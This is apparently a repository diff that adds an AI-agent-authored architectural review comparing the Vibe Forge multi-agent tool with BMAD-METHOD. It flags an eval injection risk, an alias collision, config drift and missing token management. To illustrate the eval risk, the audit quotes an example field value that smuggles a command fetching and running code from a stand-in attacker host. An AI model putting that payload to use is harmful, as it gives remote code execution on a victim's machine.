358
|
+
|
|
359
|
+
---
|
|
360
|
+
|
|
361
|
+
*Review completed by Scribe. Findings based on direct reading of all Vibe Forge docs and fetched content from https://github.com/bmad-code-org/BMAD-METHOD.*
|
|
@@ -0,0 +1,242 @@
|
|
|
1
|
+
# BMAD vs Vibe Forge: Sentinel's Architectural Review
|
|
2
|
+
|
|
3
|
+
**Reviewer:** Sentinel
|
|
4
|
+
**Date:** 2026-03-31
|
|
5
|
+
**Scope:** Full comparative review - Vibe Forge vs BMAD-METHOD
|
|
6
|
+
**Files inspected:** All 11 agent personalities, forge-daemon.sh, cli.js, config/agents.json, config/agent-manifest.yaml, config/task-template.md, bin/lib/ (all 5 files)
|
|
7
|
+
**BMAD source:** https://github.com/bmad-code-org/BMAD-METHOD (v6, ~43k stars)
|
|
8
|
+
|
|
9
|
+
---
|
|
10
|
+
|
|
11
|
+
## Architectural Verdict
|
|
12
|
+
|
|
13
|
+
Vibe Forge is an **execution-layer orchestration tool**. It routes tasks between agents, manages workflow state, and provides a terminal-tab UX for running persistent Claude Code sessions. It does this competently.
|
|
14
|
+
|
|
15
|
+
BMAD-METHOD is a **full-lifecycle development framework**. It covers discovery, requirements, architecture, planning, implementation, and review as a phased pipeline where each phase produces artifacts that gate the next.
|
|
16
|
+
|
|
17
|
+
These are not the same thing. Vibe Forge plugs into phase 4 of BMAD's workflow and calls it the whole system. For small, well-scoped projects with experienced developers who already know what to build, Vibe Forge's lighter overhead is appropriate. For anything requiring discovery or architectural decisions, Vibe Forge has no answer.
|
|
18
|
+
|
|
19
|
+
Neither framework is categorically better. They optimize for different constraints. But Vibe Forge has five structural problems that need addressing regardless of scope.
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## Critical Issues (Must Fix)
|
|
24
|
+
|
|
25
|
+
### 1. `eval` of Generated Shell Code - `bin/lib/config.sh:321`
|
|
26
|
+
|
|
27
|
+
```bash
|
|
28
|
+
eval "$agent_data"
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
`load_agents_from_json()` calls Node.js to parse `agents.json`, then `eval`s the output to populate shell arrays. The Node.js code validates that agent names match `/^[a-z0-9_-]+$/` before emitting assignments. This is a good mitigation.
|
|
32
|
+
|
|
33
|
+
**However:** The `eval` still executes arbitrary shell code. If `agents.json` is compromised (supply chain attack, malicious PR, misconfigured permissions), the Node.js validator is bypassed by injecting payload in the `name` or `role` field through the `escapeForShell` path. `escapeForShell` escapes `$`, backticks, quotes, and backslashes - but the output is then `eval`d as shell assignments. The attack surface exists.
|
|
34
|
+
|
|
35
|
+
**Specific risk:** `AGENT_DISPLAY_NAMES["hub"]="Planning Hub"` - display names and roles go through `escapeForShell` but are not identifier-validated. A role like `"Backend Developer\"; $(curl attacker.com | bash) ; echo \""` would be escaped... but the escaping is complex and the code has been changed before. `eval` is inherently fragile against this class of mistake.
|
|
36
|
+
|
|
37
|
+
**Fix direction:** Instead of `eval`-ing emitted shell assignments, have the Node.js process emit JSON that bash reads field by field, or use a dedicated config-reading binary.
|
|
38
|
+
|
|
39
|
+
---
|
|
40
|
+
|
|
41
|
+
### 2. `design` Alias Collision - `config/agents.json`
|
|
42
|
+
|
|
43
|
+
Both `architect` and `pixel` declare `"design"` as an alias:
|
|
44
|
+
|
|
45
|
+
- `architect.aliases`: `["arch", "design", "sage"]`
|
|
46
|
+
- `pixel.aliases`: `["ux", "design", "ui-design", "user-experience"]`
|
|
47
|
+
|
|
48
|
+
In `load_agents_from_json()`, aliases are emitted as shell assignments in iteration order. In V8 (Node.js), object keys preserve insertion order. `architect` is defined before `pixel` in `agents.json`. Therefore `AGENT_ALIASES["design"]="architect"` is emitted first, then `AGENT_ALIASES["design"]="pixel"` overwrites it.
|
|
49
|
+
|
|
50
|
+
**Result:** `forge spawn design` spawns Pixel (UX Designer), not Architect. This is silent and wrong. No warning is emitted. The collision goes undetected.
|
|
51
|
+
|
|
52
|
+
**Fix:** Remove `"design"` from one of the aliases. Architect should own `"design"`. Pixel already has `"ux"` and `"ui-design"` as unambiguous alternatives.
|
|
53
|
+
|
|
54
|
+
---
|
|
55
|
+
|
|
56
|
+
### 3. `constants.sh` Hardcoded Fallbacks Are a Maintenance Trap - `bin/lib/constants.sh`
|
|
57
|
+
|
|
58
|
+
```bash
|
|
59
|
+
# NOTE: Must stay in sync with config/agents.json (which is the source of truth)
|
|
60
|
+
# Last sync: 2026-01-16
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
The constants file hardcodes the full agent roster as fallback arrays. It explicitly documents it must stay in sync with `agents.json`. It documents the last sync date. It will drift. It always drifts.
|
|
64
|
+
|
|
65
|
+
**Current drift already detected:** `config/agents.json` has `"icon": "🔒"` for Aegis. `constants.sh` has `["aegis"]="🔒"`. That's fine. But `agents.json` version is `"1.1.0"` - no version field exists in `constants.sh`. The manifest says `agent-manifest.yaml` was last synced 2026-01-16. Three separate places that must stay in sync, with no automated enforcement.
|
|
66
|
+
|
|
67
|
+
**What happens when an agent is added to `agents.json` but not to `constants.sh`?** The fallback silently drops the new agent in any code path where JSON loading failed. No test catches this. No CI check validates sync.
|
|
68
|
+
|
|
69
|
+
**Fix:** Either eliminate the fallback entirely (fail loudly if `agents.json` is missing), or add a CI check that validates `constants.sh` matches `agents.json`.
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
73
|
+
### 4. No Task Assignment Enforcement
|
|
74
|
+
|
|
75
|
+
Agents self-select tasks from `tasks/pending/` by reading the `assigned_to` field in the frontmatter. The entire boundary is: personality prompts say "check for tasks assigned to you."
|
|
76
|
+
|
|
77
|
+
There is no mechanism preventing Anvil from picking up a task assigned to Furnace. There is no routing enforcement in the daemon. `route_completed_to_review()` moves all completed tasks to review regardless of agent identity - that's correct. But the `tasks/pending/` pickup is pure honor system.
|
|
78
|
+
|
|
79
|
+
**In a human team this is fine.** In a multi-agent system where agents run autonomously and may process tasks in non-deterministic order, two agents can race on the same task. Agent A reads the file, moves it to `in-progress/`, begins working. Agent B reads the same file before A moves it, also begins working. The daemon's `safe_move_task()` uses `mv` which is atomic on the same filesystem - but only Agent A or B wins the move. Agent B will still have the file content in context and may continue working on a task it no longer "owns."
|
|
80
|
+
|
|
81
|
+
**Fix:** The daemon should enforce assignment - only move a task to `in-progress/` for the correct agent, and only notify the correct agent. Or use file locking at pickup.
|
|
82
|
+
|
|
83
|
+
---
|
|
84
|
+
|
|
85
|
+
### 5. No Token Management Strategy
|
|
86
|
+
|
|
87
|
+
Agents load: full personality (5-10KB each) + full task file + accumulated conversation history. On long-running sessions with multiple task iterations, context windows will overflow. There is no mechanism analogous to BMAD's Distillator or step-file loading.
|
|
88
|
+
|
|
89
|
+
**This is the most consequential missing capability.** BMAD treats token management as a first-class architectural concern. It has:
|
|
90
|
+
- Distillator: lossless document compression into dense factual format
|
|
91
|
+
- Step-file loading: only load the current workflow step, not the entire workflow
|
|
92
|
+
- Discussion summary caps: 400 words per round in Party Mode
|
|
93
|
+
|
|
94
|
+
Vibe Forge has none of these. Agents will silently degrade as context windows fill. Users will notice mysterious quality drops on long tasks with no diagnostic path.
|
|
95
|
+
|
|
96
|
+
**Fix:** At minimum, document that agents should start fresh sessions for long tasks. Ideally, implement a context compression skill or task-summarization pattern.
|
|
97
|
+
|
|
98
|
+
---
|
|
99
|
+
|
|
100
|
+
## Important Issues (Should Fix)
|
|
101
|
+
|
|
102
|
+
### 6. Stale Status Timestamps on Startup
|
|
103
|
+
|
|
104
|
+
All agent status JSON files contain hardcoded timestamps from January 2026. The stale threshold is 300 seconds. Every agent will show `(stale)` in the dashboard immediately on project load.
|
|
105
|
+
|
|
106
|
+
This is cosmetic but undermines the dashboard's utility as a real-time signal. When everything is stale, "stale" means nothing.
|
|
107
|
+
|
|
108
|
+
**Fix:** Either initialize status files with the current timestamp on `forge init`, or display "never updated" instead of "stale" for timestamps older than a threshold (e.g., 1 day).
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
### 7. No Planning/Requirements Phase
|
|
113
|
+
|
|
114
|
+
Vibe Forge has no equivalent to BMAD's PRD workflow, architecture documentation workflow, or implementation readiness check. Tasks can be created with arbitrary `background` sections and dispatched directly to implementation agents.
|
|
115
|
+
|
|
116
|
+
**Consequence:** On a real multi-agent project, you will build the wrong thing coherently. Agents will implement against inconsistent or underspecified requirements. There is no forcing function to clarify "what are we building and why" before a single line of code is written.
|
|
117
|
+
|
|
118
|
+
BMAD's 13-pass PRD validation and architecture readiness gate are heavyweight for small projects - but the absence of any equivalent is a gap for anything non-trivial.
|
|
119
|
+
|
|
120
|
+
**Recommendation:** Add an optional `architect` workflow that produces a `context/project-brief.md` and `context/architecture.md` before implementation begins. The Planning Hub should reference these documents when creating tasks.
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
### 8. No ADR Mechanism
|
|
125
|
+
|
|
126
|
+
Vibe Forge has no Architecture Decision Record pattern. When the Architect agent makes a decision, it exists only in conversation history. When Furnace makes a conflicting decision two weeks later, there is no persistent record showing the original decision was intentional.
|
|
127
|
+
|
|
128
|
+
BMAD explicitly identifies common conflict points (REST vs GraphQL, naming conventions, state management choices) and requires they be resolved in architecture docs before implementation. Vibe Forge has no equivalent forcing function.
|
|
129
|
+
|
|
130
|
+
---
|
|
131
|
+
|
|
132
|
+
### 9. Missing: HALT Conditions in Agent Workflows
|
|
133
|
+
|
|
134
|
+
BMAD workflows define explicit HALT conditions: inaccessible files, three consecutive failures, unresolvable conflicts, missing configuration. Agents stop and escalate rather than silently degrade.
|
|
135
|
+
|
|
136
|
+
Vibe Forge agents have a `need-help` skill that writes to `tasks/attention/`. This is the right mechanism. But agent personalities don't specify HALT conditions. Anvil's personality doesn't say "if the component design is ambiguous, stop and request clarification from Pixel." Furnace's doesn't say "if the database schema hasn't been defined, halt and escalate to Architect."
|
|
137
|
+
|
|
138
|
+
The escalation path exists in infrastructure but isn't wired into agent behavior specifications.
|
|
139
|
+
|
|
140
|
+
---
|
|
141
|
+
|
|
142
|
+
### 10. `bin/cli.js:287-292` - `git reset --hard origin/main` on Update
|
|
143
|
+
|
|
144
|
+
```javascript
|
|
145
|
+
execSync('git reset --hard origin/main', {
|
|
146
|
+
stdio: 'inherit',
|
|
147
|
+
cwd: targetDir,
|
|
148
|
+
});
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
This is the update command for Vibe Forge's own installation directory (`_vibe-forge/`). Users who have made local modifications (e.g., custom agent personalities stored inside `_vibe-forge/agents/`) will have their changes silently destroyed on `npx vibe-forge update`.
|
|
152
|
+
|
|
153
|
+
The `.gitignore` comments suggest user customizations should live outside `_vibe-forge/`, but this is only documented as commented-out ignore rules. New users will not know this.
|
|
154
|
+
|
|
155
|
+
**Fix:** Check for local modifications in `_vibe-forge/` before resetting. Warn if found. Document clearly that user content belongs in the project root's `tasks/`, `context/`, and `.claude/` directories.
|
|
156
|
+
|
|
157
|
+
---
|
|
158
|
+
|
|
159
|
+
## Minor Issues (Nice to Have)
|
|
160
|
+
|
|
161
|
+
### 11. `agent-manifest.yaml` Is a Zombie Document
|
|
162
|
+
|
|
163
|
+
`config/agent-manifest.yaml` declares itself `NON-NORMATIVE documentation` but contains rich information that duplicates or supplements `agents.json`. It includes `source: "bmad-master"` and `source: "dev (Amelia)"` attributions that reveal BMAD lineage but have no programmatic meaning. It will drift from `agents.json` and mislead readers.
|
|
164
|
+
|
|
165
|
+
**Either** delete it and consolidate documentation into `agents.json` comments, **or** replace it with generated documentation from `agents.json`.
|
|
166
|
+
|
|
167
|
+
---
|
|
168
|
+
|
|
169
|
+
### 12. Sentinel and Aegis Have Overlapping Security Mandates
|
|
170
|
+
|
|
171
|
+
From the agent manifest:
|
|
172
|
+
- **Sentinel:** "Code Reviewer" - reviews all code for quality, security, correctness
|
|
173
|
+
- **Aegis:** "Security Specialist" - reviews auth, queries, file uploads, crypto
|
|
174
|
+
|
|
175
|
+
Both agents will independently review security-sensitive code. Their verdicts may conflict. There is no protocol for resolving Sentinel APPROVED / Aegis CHANGES REQUESTED contradictions.
|
|
176
|
+
|
|
177
|
+
**Fix:** Define the relationship explicitly. Option A: Aegis reviews security-sensitive changes first; Sentinel's security checklist defers to Aegis on security items. Option B: Aegis is invoked only when Sentinel flags a security concern for specialist review.
|
|
178
|
+
|
|
179
|
+
---
|
|
180
|
+
|
|
181
|
+
### 13. `forge-daemon.sh` Has No Tests
|
|
182
|
+
|
|
183
|
+
The daemon handles symlink protection, path traversal prevention, file moves, and notification delivery. These are security-sensitive code paths with no test coverage visible in the repository. The `tests/` directory exists but was not populated with daemon tests.
|
|
184
|
+
|
|
185
|
+
---
|
|
186
|
+
|
|
187
|
+
### 14. Dual Source of Truth for Agent Icons
|
|
188
|
+
|
|
189
|
+
`config/agents.json` defines icons (`"icon": "🔒"` for Aegis) and `config/agent-manifest.yaml` also documents icons. Agent personality files also contain icon declarations in their headers (e.g., `**Icon:** 🛡️`). Three places. They must stay in sync manually.
|
|
190
|
+
|
|
191
|
+
---
|
|
192
|
+
|
|
193
|
+
## What BMAD Does Significantly Better
|
|
194
|
+
|
|
195
|
+
| Capability | BMAD | Vibe Forge |
|
|
196
|
+
|---|---|---|
|
|
197
|
+
| Planning pipeline | 4-phase with gates | None |
|
|
198
|
+
| Requirements validation | 13-pass PRD validation | None |
|
|
199
|
+
| Token management | Distillator + step-files | None |
|
|
200
|
+
| Agent boundary enforcement | Capability code system | Honor system |
|
|
201
|
+
| True parallel subagents | Party Mode | Multiple terminal tabs |
|
|
202
|
+
| Module ecosystem | 5+ official modules | Fork the repo |
|
|
203
|
+
| Workflow HALT conditions | Explicit per-workflow | Underdefined |
|
|
204
|
+
| Architecture decisions | ADRs required | None |
|
|
205
|
+
| Implementation readiness gate | Explicit pre-build check | None |
|
|
206
|
+
| Sprint state machine | YAML sprint tracker | Task folder routing |
|
|
207
|
+
| IDE agnosticism | Installer generates per-IDE config | Claude Code specific |
|
|
208
|
+
|
|
209
|
+
## What Vibe Forge Does Better
|
|
210
|
+
|
|
211
|
+
| Capability | Vibe Forge | BMAD |
|
|
212
|
+
|---|---|---|
|
|
213
|
+
| Infrastructure security | Symlink protection, path validation, sanitized notifications | Not a focus |
|
|
214
|
+
| Real-time status dashboard | SQLite-backed, stale detection | None |
|
|
215
|
+
| Daemon task routing | Automated file-based routing | Manual workflow execution |
|
|
216
|
+
| Windows support | First-class (PowerShell notifications, Git Bash detection) | Not documented |
|
|
217
|
+
| Setup simplicity | `npx vibe-forge init` + one setup script | More complex install |
|
|
218
|
+
| Agent personality richness | Detailed review checklists, verdict templates | Lighter persona definitions |
|
|
219
|
+
|
|
220
|
+
---
|
|
221
|
+
|
|
222
|
+
## Top 5 Critical Gaps Ranked by Impact
|
|
223
|
+
|
|
224
|
+
1. **No planning/requirements pipeline.** You will build the wrong thing. BMAD's PRD + architecture + readiness gate exists because teams consistently start implementing before requirements are clear. Vibe Forge has no forcing function.
|
|
225
|
+
|
|
226
|
+
2. **`eval` of shell code from `agents.json`.** Not a theoretical risk - it's an `eval` on data that flows from a file to a Node.js process to a shell interpreter. Any bug in the escaping logic or any compromise of `agents.json` is remote code execution on the machine running the daemon.
|
|
227
|
+
|
|
228
|
+
3. **`design` alias collision.** Two agents claim the same alias. The wrong one wins silently. This is a live bug affecting any user who types `forge spawn design`.
|
|
229
|
+
|
|
230
|
+
4. **No token management.** Agents will degrade on long sessions with no warning. This is the most user-visible failure mode and it has no mitigation path.
|
|
231
|
+
|
|
232
|
+
5. **`constants.sh` sync drift.** The hardcoded fallback arrays will diverge from `agents.json` over time. New agents added to `agents.json` will silently disappear in fallback code paths. No test validates sync.
|
|
233
|
+
|
|
234
|
+
---
|
|
235
|
+
|
|
236
|
+
## Summary
|
|
237
|
+
|
|
238
|
+
Vibe Forge's infrastructure layer is reasonably well-built with genuine security awareness. The daemon, lib utilities, and task routing system are solid. The agent personalities are well-crafted with clear voices and detailed behavioral guidelines.
|
|
239
|
+
|
|
240
|
+
The framework's gap is upstream of what it does. It assumes you arrive at the Forge with a clear task and a clear target. BMAD assumes you arrive with a problem and need to figure out the task. For the use case Vibe Forge targets - teams that already know what to build and need coordinated AI assistance building it - the overhead gap is acceptable.
|
|
241
|
+
|
|
242
|
+
Fix the `eval`, fix the alias collision, and add token management guidance. The rest are improvements, not blockers.
|